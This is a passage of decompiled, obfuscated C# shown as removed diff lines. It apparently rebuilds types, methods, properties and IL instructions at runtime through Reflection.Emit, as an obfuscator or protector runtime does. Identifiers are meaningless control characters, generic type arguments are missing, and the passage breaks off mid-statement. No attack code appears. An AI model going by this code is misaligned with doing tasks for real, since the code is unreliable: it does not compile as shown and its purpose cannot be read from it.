\u0009\u0001.\u0003\u0001\u0001\u0001\u0001\u0017\u0005), AssemblyBuilderAccess.Run, \u0009\u0004.\u0002\u0001\u0001\u0001\u0001\u0017\u0006); - this.\u0003\u0003\u0009 = \u0009\u0003.\u0003\u0015\u0005((object) this.\u0003\u0003\u000A, \u0012\u0003.\u0003\u000A\u0004(obj0, \u0012\u0014.\u0003\u0002\u0005("\u0011[SS"), \u0012\u0003.\u0015\u0004), \u0009\u0003.\u0002\u0001\u0001\u0001\u0001\u0017\u0007); - foreach (\u0013\u0006 obj in this.\u0003\u0004\u0007.\u0002\u0008\u0017) - this.\u0003\u0003\u0004(obj); - foreach (\u0013\u0006 obj in this.\u0003\u0004\u0007.\u0002\u0008\u0017) - this.\u0003\u0003\u0003(obj); - foreach (KeyValuePair<\u0012\u0009, ILGenerator> keyValuePair in this.\u0003\u0003\u0014) - this.\u0003\u0002\u0013(keyValuePair.Value, keyValuePair.Key); - foreach (KeyValuePair<\u0013\u0006, TypeBuilder> keyValuePair in this.\u0003\u0003\u0012) - { - Type type = \u0009\u0006.\u0003\u0014\u000A((object) keyValuePair.Value, \u0009\u0006.\u0002\u0001\u0001\u0001\u0001\u0017\u0008); - this.\u0003\u0003\u0013[keyValuePair.Key] = type; - } - } - - public Type \u0003\u0003\u0016([In] \u0013\u0006 obj0) => !this.\u0003\u0003\u0013.ContainsKey(obj0) ? (Type) null : this.\u0003\u0003\u0013[obj0]; - - public Type \u0003\u0003\u0002([In] string obj0) => \u0009\u0005.\u0003\u0014\u0013((object) this.\u0003\u0003\u000A, obj0, \u0009\u0005.\u0002\u0001\u0001\u0001\u0001\u0017\u000A); - - public object \u0003\u0003\u0001([In] string obj0) => \u0009\u0008.\u0003\u0014\u0015((object) this.\u0003\u0003\u000A, obj0, \u0009\u0008.\u0002\u0001\u0001\u0001\u0001\u0017\u0012); - - private TypeBuilder \u0003\u0003\u0004([In] \u0013\u0006 obj0) - { - if (this.\u0003\u0003\u0012.ContainsKey(obj0)) - return this.\u0003\u0003\u0012[obj0]; - TypeBuilder typeBuilder = obj0.\u0002\u0017\u0016 != null ? \u0017\u000A.\u0003\u0014\u0002((object) this.\u0003\u0003\u0009, obj0.\u0002\u0017\u0015, obj0.\u0002\u0017\u0017, this.\u0003\u0002\u0014(obj0.\u0002\u0017\u0016), \u0017\u000A.\u0002\u0001\u0001\u0001\u0001\u0017\u0014) : \u0009\u0007.\u0003\u0014\u0017((object) this.\u0003\u0003\u0009, obj0.\u0002\u0017\u0015, obj0.\u0002\u0017\u0017, \u0009\u0007.\u0002\u0001\u0001\u0001\u0001\u0017\u0013); - this.\u0003\u0003\u0012.Add(obj0, typeBuilder); - return typeBuilder; - } - - private Type \u0003\u0003\u0003([In] \u0013\u0006 obj0) - { - TypeBuilder typeBuilder = this.\u0003\u0003\u0004(obj0); - foreach (\u0013\u0008 obj in obj0.\u0002\u0017\u0002) - { - switch (obj.\u0002\u0016\u0007) - { - case \u0013\u0005.\u0002\u0017\u0003: - this.\u0003\u0003\u0006(typeBuilder, obj0, (\u0012\u0009) obj); - continue; - case \u0013\u0005.\u0002\u0017\u0006: - this.\u0003\u0003\u0005(typeBuilder, obj0, (\u0012\u0009) obj); - continue; - case \u0013\u0005.\u0002\u0017\u0005: - this.\u0003\u0003\u0008(typeBuilder, obj0, (\u0012\u0009) obj); - continue; - case \u0013\u0005.\u0002\u0017\u0008: - this.\u0003\u0003\u0007(typeBuilder, obj0, obj); - continue; - case \u0013\u0005.\u0002\u0017\u0007: - this.\u0003\u0002\u000A(typeBuilder, obj0, (\u0013\u0007) obj); - continue; - case \u0013\u0005.\u0002\u0016\u000A: - this.\u0003\u0002\u0009(typeBuilder, obj0, (\u0012\u000A) obj); - continue; - default: - continue; - } - } - return (Type) typeBuilder; - } - - private void \u0003\u0003\u0006([In] TypeBuilder obj0, [In] \u0013\u0006 obj1, [In] \u0012\u0009 obj2) - { - List typeList = new List(); - foreach (\u0012\u0013 obj in obj2.\u0003\u0004\u0014) - typeList.Add(this.\u0003\u0002\u0014(obj.\u0003\u0004\u0008)); - ConstructorBuilder constructorBuilder = \u0017\u0009.\u0003\u0014\u0004((object) obj0, (MethodAttributes) obj2.\u0002\u0015\u0009, obj2.\u0003\u0004\u0015, typeList.ToArray(), \u0017\u0009.\u0002\u0001\u0001\u0001\u0001\u0017\u0015); - \u0017\u0013.\u0003\u0014\u0005((object) constructorBuilder, obj2.\u0003\u0004\u0017, \u0017\u0013.\u0002\u0001\u0001\u0001\u0001\u0017\u0016); - this.\u0003\u0003\u0015.Add((\u0013\u0008) obj2, (MemberInfo) constructorBuilder); - this.\u0003\u0003\u0014.Add(obj2, \u0017\u0012.\u0004\u0004\u000A((object) constructorBuilder, \u0017\u0012.\u0002\u0001\u0001\u0001\u0002\u0001\u0001)); - } - - private void \u0003\u0003\u0005([In] TypeBuilder obj0, [In] \u0013\u0006 obj1, [In] \u0012\u0009 obj2) - { - ConstructorBuilder constructorBuilder = \u0017\u0015.\u0004\u0004\u0013((object) obj0, \u0017\u0015.\u0002\u0001\u0001\u0001\u0002\u0001\u0003); - \u0017\u0013.\u0003\u0014\u0005((object) constructorBuilder, obj2.\u0003\u0004\u0017, \u0017\u0013.\u0002\u0001\u0001\u0001\u0001\u0017\u0016); - this.\u0003\u0003\u0015.Add((\u0013\u0008) obj2, (MemberInfo) constructorBuilder); - this.\u0003\u0003\u0014.Add(obj2, \u0017\u0012.\u0004\u0004\u000A((object) constructorBuilder, \u0017\u0012.\u0002\u0001\u0001\u0001\u0002\u0001\u0001)); - } - - private void \u0003\u0003\u0008([In] TypeBuilder obj0, [In] \u0013\u0006 obj1, [In] \u0012\u0009 obj2) - { - List typeList = new List(); - foreach (\u0012\u0013 obj in obj2.\u0003\u0004\u0014) - typeList.Add(this.\u0003\u0002\u0014(obj.\u0003\u0004\u0008)); - MethodBuilder methodBuilder = \u0017\u0014.\u0004\u0004\u0015((object) obj0, obj2.\u0002\u0016\u0008, (MethodAttributes) obj2.\u0002\u0015\u0009, obj2.\u0003\u0004\u0015, this.\u0003\u0002\u0014(obj2.\u0002\u0015\u000A), typeList.ToArray(), \u0017\u0014.\u0002\u0001\u0001\u0001\u0002\u0001\u0004); - \u0017\u0013.\u0003\u0014\u0005((object) methodBuilder, obj2.\u0003\u0004\u0017, \u0017\u0013.\u0002\u0001\u0001\u0001\u0001\u0017\u0017); - this.\u0003\u0003\u0015.Add((\u0013\u0008) obj2, (MemberInfo) methodBuilder); - this.\u0003\u0003\u0014.Add(obj2, \u0017\u0012.\u0004\u0004\u000A((object) methodBuilder, \u0017\u0012.\u0002\u0001\u0001\u0001\u0002\u0001\u0002)); - } - - private void \u0003\u0003\u0007([In] TypeBuilder obj0, [In] \u0013\u0006 obj1, [In] \u0013\u0008 obj2) - { - FieldBuilder fieldBuilder = \u0017\u0017.\u0004\u0004\u0017((object) obj0, obj2.\u0002\u0016\u0008, this.\u0003\u0002\u0014(obj2.\u0002\u0015\u000A), (FieldAttributes) obj2.\u0002\u0015\u0009, \u0017\u0017.\u0002\u0001\u0001\u0001\u0002\u0001\u0005); - this.\u0003\u0003\u0015.Add(obj2, (MemberInfo) fieldBuilder); - } - - private void \u0003\u0002\u000A([In] TypeBuilder obj0, [In] \u0013\u0006 obj1, [In] \u0013\u0007 obj2) - { - List typeList = new List(); - foreach (\u0012\u0013 obj in obj2.\u0002\u0015\u0003) - typeList.Add(this.\u0003\u0002\u0014(obj.\u0003\u0004\u0008)); - PropertyBuilder propertyBuilder = \u0017\u0016.\u0004\u0004\u0002((object) obj0, obj2.\u0002\u0016\u0008, (PropertyAttributes) obj2.\u0002\u0015\u0009, this.\u0003\u0002\u0014(obj2.\u0002\u0015\u000A), typeList.ToArray(), \u0017\u0016.\u0002\u0001\u0001\u0001\u0002\u0001\u0006); - this.\u0003\u0003\u0015.Add((\u0013\u0008) obj2, (MemberInfo) propertyBuilder); - if (obj2.\u0002\u0015\u0006 != null) - \u0017\u0002.\u0004\u0004\u0005((object) propertyBuilder, (MethodBuilder) this.\u0003\u0002\u0001((\u0013\u0008) obj2.\u0002\u0015\u0006), \u0017\u0002.\u0002\u0001\u0001\u0001\u0002\u0001\u0007); - if (obj2.\u0002\u0015\u0005 == null) - return; - \u0017\u0002.\u0004\u0004\u0005((object) propertyBuilder, (MethodBuilder) this.\u0003\u0002\u0001((\u0013\u0008) obj2.\u0002\u0015\u0005), \u0017\u0002.\u0002\u0001\u0001\u0001\u0002\u0001\u0008); - } - - private void \u0003\u0002\u0009([In] TypeBuilder obj0, [In] \u0013\u0006 obj1, [In] \u0012\u000A obj2) - { - EventBuilder eventBuilder = \u0017\u0001.\u0004\u0004\u0007((object) obj0, obj2.\u0002\u0016\u0008, (EventAttributes) obj2.\u0002\u0015\u0009, this.\u0003\u0002\u0014(obj2.\u0002\u0015\u000A), \u0017\u0001.\u0002\u0001\u0001\u0001\u0002\u0001\u0012); - if (obj2.\u0002\u0014\u0015 != null) - \u0017\u0002.\u0004\u0004\u0005((object) eventBuilder, (MethodBuilder) this.\u0003\u0002\u0001((\u0013\u0008) obj2.\u0002\u0014\u0015), \u0017\u0002.\u0002\u0001\u0001\u0001\u0002\u0001\u0009); - if (obj2.\u0002\u0014\u0014 == null) - return; - \u0017\u0002.\u0004\u0004\u0005((object) eventBuilder, (MethodBuilder) this.\u0003\u0002\u0001((\u0013\u0008) obj2.\u0002\u0014\u0014), \u0017\u0002.\u0002\u0001\u0001\u0001\u0002\u0001\u000A); - } - - private void \u0003\u0002\u0013([In] ILGenerator obj0, [In] \u0012\u0009 obj1) - { - \u0012\u0012.\u0012\u0015 obj2 = new \u0012\u0012.\u0012\u0015(); - foreach (\u0013\u0015 obj3 in obj1.\u0003\u0004\u0012) - this.\u0003\u0002\u0012(obj0, obj2, obj1, obj3); - } - - private void \u0003\u0002\u0012( - [In] ILGenerator obj0, - [In] \u0012\u0012.\u0012\u0015 obj1, - [In] \u0012\u0009 obj2, - [In] \u0013\u0015 obj3) - { - try - { - switch (obj3.\u0002\u0007\u0001) - { - case \u0013\u0013.\u0002\u0002\u0009: - \u0017\u0004.\u0004\u0003\u0013((object) obj0, this.\u0003\u0002\u0014(obj3.\u0002\u0006\u000A), \u0017\u0004.\u0002\u0001\u0001\u0001\u0002\u0001\u0013); - break; - case \u0013\u0013.\u0002\u0002\u0013: - \u0012\u0002.\u0003\u000A\u0012((object) obj0, \u0012\u0002.\u0002\u0001\u0001\u0001\u0001\u0014\u0012); - break; - case \u0013\u0013.\u0002\u0002\u0012: - \u0017\u0003.\u0004\u0003\u0014((object) obj0, \u0017\u0003.\u0002\u0001\u0001\u0001\u0002\u0001\u0015); - break; - case \u0013\u0013.\u0002\u0002\u0015: - \u0012\u0002.\u0003\u000A\u0012((object) obj0, \u0012\u0002.\u0002\u0001\u0001\u0001\u0001\u0014\u0013); - break; - case \u0013\u0013.\u0002\u0002\u0014: - \u0012\u0002.\u0003\u000A\u0012((object) obj0, \u0012\u0002.\u0002\u0001\u0001\u0001\u0001\u0014\u0014); - break; - case \u0013\u0013.\u0002\u0002\u0017: - \u0012\u0002.\u0003\u000A\u0012((object) obj0, \u0012\u0002.\u0002\u0001\u0001\u0001\u0001\u0014\u0015); - break; - case \u0013\u0013.\u0002\u0002\u0016: - LocalBuilder localBuilder = \u0017\u0006.\u0004\u0003\u0016((object) obj0, this.\u0003\u0002\u0014(obj3.\u0002\u0007\u0005.\u0002\u0006\u0006), obj3.\u0002\u0007\u0005.\u0002\u0006\u0003, \u0017\u0006.\u0002\u0001\u0001\u0001\u0002\u0001\u0017); - obj1.\u0003\u0002\u0006.Add(obj3.\u0002\u0007\u0005, localBuilder); - break; - case \u0013\u0013.\u0002\u0002\u0002: - Label label = \u0017\u0003.\u0004\u0003\u0014((object) obj0, \u0017\u0003.\u0002\u0001\u0001\u0001\u0002\u0001\u0016); - obj1.\u0003\u0002\u0003.Add(obj3.\u0002\u0007\u0008, label); - break; - case \u0013\u0013.\u0002\u0002\u0001: - case \u0013\u0013.\u0002\u0002\u0004: - case \u0013\u0013.\u0002\u0002\u0003: - case \u0013\u0013.\u0002\u0002\u0006: - case \u0013\u0013.\u0002\u0002\u0005: - case \u0013\u0013.\u0002\u0002\u0008: - case \u0013\u0013.\u0002\u0002\u0007: - case \u0013\u0013.\u0002\u0001\u000A: - case \u0013\u0013.\u0002\u0001\u0009: - case \u0013\u0013.\u0002\u0001\u0013: - case \u0013\u0013.\u0002\u0001\u0012: - case \u0013\u0013.\u0002\u0001\u0015: - case \u0013\u0013.\u0002\u0001\u0014: - case \u0013\u0013.\u0002\u0001\u0017: - case \u0013\u0013.\u0002\u0001\u0016: - case \u0013\u0013.\u0002\u0001\u0002: - this.\u0003\u0002\u0015(obj0, obj1, obj2, obj3); - break; - case \u0013\u0013.\u0002\u0001\u0001: - \u0012\u0002.\u0003\u000A\u0012((object) obj0, \u0012\u0002.\u0002\u0001\u0001\u0001\u0001\u0014\u0016); - break; - case \u0013\u0013.\u0002\u0001\u0004: - \u0012\u0002.\u0003\u000A\u0012((object) obj0, \u0012\u0002.\u0002\u0001\u0001\u0001\u0001\u0014\u0017); - break; - case \u0013\u0013.\u0002\u0001\u0003: - \u0017\u0005.\u0004\u0003\u0001((object) obj0, obj1.\u0003\u0002\u0003[obj3.\u0002\u0007\u0008], \u0017\u0005.\u0002\u0001\u0001\u0001\u0002\u0002\u0001); - break; - case \u0013\u0013.\u0002\u0001\u0006: - throw \u0017\u0008.\u0004\u0003\u0003(\u0017\u0008.\u0003\u0001\u0001\u0001\u0002\u0002\u0002); - case \u0013\u0013.\u0002\u0001\u0005: - \u0017\u0004.\u0004\u0003\u0013((object) obj0, this.\u0003\u0002\u0014(obj3.\u0002\u0006\u000A), \u0017\u0004.\u0002\u0001\u0001\u0001\u0002\u0001\u0014); - break; - case \u0013\u0013.\u0002\u0001\u0008: - throw \u0017\u0008.\u0004\u0003\u0003(\u0017\u0008.\u0003\u0001\u0001\u0001\u0002\u0002\u0002); - } - } - catch (Exception ex) - { - throw \u0017\u0007.\u0004\u0003\u0005(\u0012\u0003.\u0003\u000A\u0004(\u0012\u0014.\u0003\u0002\u0005("zMMPM\u0011\u001F"), obj3.\u0002\u0007\u0001.ToString(), \u0012\u0003.\u0015\u0004), ex, \u0017\u0007.\u0003\u0001\u0001\u0001\u0002\u0002\u0003); - } - } - - private void \u0003\u0002\u0015( - [In] ILGenerator obj0, - [In] \u0012\u0012.\u0012\u0015 obj1, - [In] \u0012\u0009 obj2, - [In] \u0013\u0015 obj3) - { - try - { - switch (obj3.\u0002\u0007\u0001) - { - case \u0013\u0013.\u0002\u0002\u0001: - \u0016\u000A.\u0004\u0003\u0007((object) obj0, obj3.\u0002\u0007\u0003, \u0016\u000A.\u0002\u0001\u0001\u0001\u0002\u0002\u0004); - break; - case \u0013\u0013.\u0002\u0002\u0004: - \u0016\u0009.\u0004\u0002\u0009((object) obj0, obj3.\u0002\u0007\u0003, (byte) obj3.\u0002\u0007\u0006, \u0016\u0009.\u0002\u0001\u0001\u0001\u0002\u0002\u0005); - break; - case \u0013\u0013.\u0002\u0002\u0003: - \u0016\u0013.\u0004\u0002\u0012((object) obj0, obj3.\u0002\u0007\u0003, (ConstructorInfo) this.\u0003\u0002\u0002(obj3.\u0002\u0006\u0009), \u0016\u0013.\u0002\u0001\u0001\u0001\u0002\u0002\u0006); - break; - case \u0013\u0013.\u0002\u0002\u0006: - \u0016\u0012.\u0004\u0002\u0014((object) obj0, obj3.\u0002\u0007\u0003, (double) obj3.\u0002\u0007\u0006, \u0016\u0012.\u0002\u0001\u0001\u0001\u0002\u0002\u0007); - break; - case \u0013\u0013.\u0002\u0002\u0005: - \u0016\u0015.\u0004\u0002\u0016((object) obj0, obj3.\u0002\u0007\u0003, (FieldInfo) this.\u0003\u0002\u0002(obj3.\u0002\u0006\u0009), \u0016\u0015.\u0002\u0001\u0001\u0001\u0002\u0002\u0008); - break; - case \u0013\u0013.\u0002\u0002\u0008: - \u0016\u0014.\u0004\u0002\u0001((object) obj0, obj3.\u0002\u0007\u0003, (float) obj3.\u0002\u0007\u0006, \u0016\u0014.\u0002\u0001\u0001\u0001\u0002\u0002\u0009); - break; - case \u0013\u0013.\u0002\u0002\u0007: - \u0016\u0017.\u0004\u0002\u0003((object) obj0, obj3.\u0002\u0007\u0003, (int) obj3.\u0002\u0007\u0006, \u0016\u0017.\u0002\u0001\u0001\u0001\u0002\u0002\u000A); - break; - case \u0013\u0013.\u0002\u0001\u000A: - \u0016\u0016.\u0004\u0002\u0005((object) obj0, obj3.\u0002\u0007\u0003, obj1.\u0003\u0002\u0003[obj3.\u0002\u0007\u0008], \u0016\u0016.\u0002\u0001\u0001\u0001\u0002\u0002\u0012); - break; - case \u0013\u0013.\u0002\u0001\u0009: - List